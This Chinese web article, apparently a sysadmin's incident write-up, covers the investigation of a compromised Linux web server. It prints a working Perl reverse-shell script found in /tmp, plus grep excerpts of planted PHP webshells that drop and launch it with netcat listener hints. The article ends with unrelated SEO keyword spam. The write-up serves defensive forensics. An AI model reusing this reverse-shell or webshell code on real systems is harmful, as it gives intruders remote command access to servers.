千家信息网

Web服务器中如何排查病毒

发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,这篇文章主要介绍Web服务器中如何排查病毒,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为×××网站。马上登录服务器(
千家信息网最后更新 2026年11月02日Web服务器中如何排查病毒

这篇文章主要介绍Web服务器中如何排查病毒,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为×××网站。

马上登录服务器(半夜好困啊)。执行如下的步骤:

1、 检查系统帐号,看有没有异常帐号--如冒充系统帐号,改一个字母,看起来像系统帐号,混淆视听。有的家伙狡猾的干活,创建个帐号为"…"极端不易察觉。

2、 检查最近登录用户的ip:last 查看9月9号以后到目前的情况,经确认,有一个ip来路不对。

3、 检查系统初始化文件inittab,运行级别为3,为发现异常。一些hacker喜欢在这里下手,加上respawn这样的行,保证他的程序被杀后自动重启,不屈不挠地抗争系统管理员的绞杀。

4、 检查运行级别目录的脚本,ls -al /etc/rc3.d ,未见异常。

5、 检查自动任务 crontab -l ,root用户和web运行用户www各检查一遍,未见任何异常。

6、 检查历史记录history 发现有安装sendmail的情形,问客户是否有这个,答:不是自己装的。

7、 检查web目录,发现其权限为777,这可让人不太放心了,心中猜想,可能是从这里下手了。

8、 检查一下目录/tmp,发现有个文件不太对劲,文件名是spider_bc,打开看一下,是个perl脚本,其内容为:

[root@localhost mysql]# more /tmp/spider_bc

#!/usr/bin/perl

use Socket;

$cmd= "lynx";

$system= 'echo "`uname -a`";echo"`id`";/bin/sh';

$0=$cmd;

$target=$ARGV[0];

$port=$ARGV[1];

$iaddr=inet_aton($target) || die("Error: $!\n");

$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");

$proto=getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(SOCKET, $paddr) || die("Error: $!\n");

open(STDIN, ">&SOCKET");

open(STDOUT, ">&SOCKET");

open(STDERR, ">&SOCKET");

system($system);

close(STDIN);

close(STDOUT);

close(STDERR);

据客户开发人员反应,这文件删除以后,一会又自动生成了。

9、 初步怀疑是hacker利用web权限设置及程序漏洞上传了程序后,自动生成这个文件,于是进入到网站根目录,然后执行grep -r "spider" * ,片刻,结果出来了,下面节录部分:

[root@localhost www]# grep spider_bc * -r

/plusbak/viev. php: echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功
' : '创建/tmp/spider_bc失败
';

/plusbak/viev. php: echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/plusbak/viev. php: echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功
' : '创建/tmp/spider_bc.c失败
';

/plusbak/viev. php: @unlink('/tmp/spider_bc.c');

/plusbak/viev. php: echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths. php: echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功
' : '创建/tmp/spider_bc失败
';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths. php: echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths. php: echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功
' : '创建/tmp/spider_bc.c失败
';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths. php: @unlink('/tmp/spider_bc.c');

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths. php: echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql. php : echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功
' : '创建/tmp/spider_bc失败
';

/developers/developers/cache/default/index_sql. php : echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql. php : echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功
' : '创建/tmp/spider_bc.c失败
';

/developers/developers/cache/default/index_sql. php : @unlink('/tmp/spider_bc.c');

/developers/developers/cache/default/index_sql. php : echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

以上是"Web服务器中如何排查病毒"这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注行业资讯频道!

检查 成功 命令 文件 系统 帐号 服务器 服务 内容 用户 目录 程序 运行 病毒 客户 权限 篇文章 级别 结果 网站 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技公司官网 互联网科技logo设计 米客互联网科技 奔汉互联网科技 互联网金融和金融科技 哈尔滨秒房互联网科技有限公司 中国的互联网科技企业的崛起 创业天下互联网科技有限公司 常德市电业局互联网科技部 互联网企业和科技型企业 河南猎农互联网科技有限公司 智腾互联网科技有限公司 互联网金融科技展 东莞新华互联网科技学校 四川慕妮娅互联网科技有限公司 启辰互联网科技 互联网科技融合创新 北京天晋互联网科技有限公司 现代科技的标志之一的互联网 小牛互联网科技有限公司地址 科技赋能下的互联网金融 互联网的科技创新 万易互联网科技有限公司 互联网养老 桔豆科技 工业互联网展湾科技股份有限公司 工业互联网山东科技大学 上海创道互联网络科技有限公司 科技互联网经济论坛 互联网科技对化妆品行业 现代科技的标志之一的互联网
0